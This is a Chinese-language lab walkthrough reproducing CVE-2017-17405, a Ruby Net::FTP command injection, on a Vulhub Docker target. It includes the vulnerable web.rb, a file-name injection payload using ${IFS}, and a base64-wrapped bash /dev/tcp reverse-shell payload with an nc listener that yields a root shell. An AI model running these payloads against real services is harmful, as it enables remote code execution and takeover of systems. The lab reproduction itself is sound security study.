漏洞简介

Ruby Net::FTP 模块是一个 FTP 客户端,在上传和下载文件的过程中,打开本地文件时使用了 open 函数。而在 ruby 中,open 函数是借用系统命令来打开文件,且没用过滤 shell 字符,导致在用户控制文件名的情况下,将可以注入任意命令。
Vulhub(CVE-2017-17405)

环境搭建

靶机使用vulhub提供的docker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root💀kali)-[~]
└─# cd /root/vulhub/ruby/CVE-2017-17405

┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]
└─# docker-compose up -d
Creating network "cve-2017-17405_default" with the default driver
Creating cve-2017-17405_web_1 ... done

┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]
└─# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dcc64104f647 cve-2017-17405_web "ruby web.rb -p 8080…" 20 seconds ago Up 19 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2017-17405_web_1

┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]
└─# docker exec -it dcc64104f647 /bin/bash
root@dcc64104f647:/usr/src# ls
web.rb
root@dcc64104f647:/usr/src# cat web.rb

进入docker后可以看到有一个web.rb文件,这就是一个FTP客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
require 'sinatra'
require 'net/ftp'
require 'uri'

get '/' do
'Use /download?uri=ftp://127.0.0.1:2121/&file=/path/to/file.txt to download a ftp file.'
end

get '/download' do
content_type 'application/octet-stream'

begin
uri = URI.parse(params['uri'])

ftp = Net::FTP.new
ftp.connect(uri.host, uri.port)
ftp.login(uri.user || 'anonymous', uri.password)
ftp.getbinaryfile(params['file'])
ftp.close
rescue
return '404 Not Found'
end

File.open(params['file'], 'rb') {|f|
return f.read
}
end

环境启动后,访问http://your-ip:8080/将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。
在这里插入图片描述

预期服务功能

我们需要运行一个可以被访问到的ftp服务端,这里选择在桌面的ftp文件夹中运行,文件夹里面有一个flag.txt可供下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[~]
└─# cd /root/桌面/ftp

┌──(root💀kali)-[~/桌面/ftp]
└─# ls
flag.txt

┌──(root💀kali)-[~/桌面/ftp]
└─# python3 -m pyftpdlib -p 2121 -i 0.0.0.0
[I 2022-01-17 03:22:09] concurrency model: async
[I 2022-01-17 03:22:09] masquerade (NAT) address: None
[I 2022-01-17 03:22:09] passive ports: None
[I 2022-01-17 03:22:09] >>> starting FTP server on 0.0.0.0:2121, pid=3079 <<<

访问/download?uri=ftp://ftp-ip:2121/&file=flag.txt成功下载了文件在这里插入图片描述
在docker中也可以看到flag.txt

1
2
3
4
root@dcc64104f647:/usr/src# ls
flag.txt web.rb
root@dcc64104f647:/usr/src# cat flag.txt
flag{FTP-dowload}

漏洞复现

开始利用漏洞。注入命令|touch${IFS}success.txt(空格用${IFS}代替)
在这里插入图片描述
进入docker后可以看到success.txt被成功创建,命令执行成功

1
2
root@dcc64104f647:/usr/src# ls
flag.txt success.txt web.rb

反弹shell
构造执行反弹shell的命令
linux反弹shell的命令bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1
|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'
其中的base64编码中的加号+要替换成%2B,否则浏览器会把+编码成空格,使得命令解码出错
同时kali监听6666端口nc -lvvp 6666
在浏览器中访问即可成功反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root💀kali)-[~]
└─# nc -lvvp 6666
listening on [any] 6666 ...
172.18.0.2: inverse host lookup failed: Unknown host
connect to [xxx.xxx.xxx.xxx] from (UNKNOWN) [172.18.0.2] 36762
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@dcc64104f647:/usr/src# ls
ls
flag.txt
success.txt
web.rb
root@dcc64104f647:/usr/src# cat flag.txt
cat flag.txt
flag{FTP-dowload}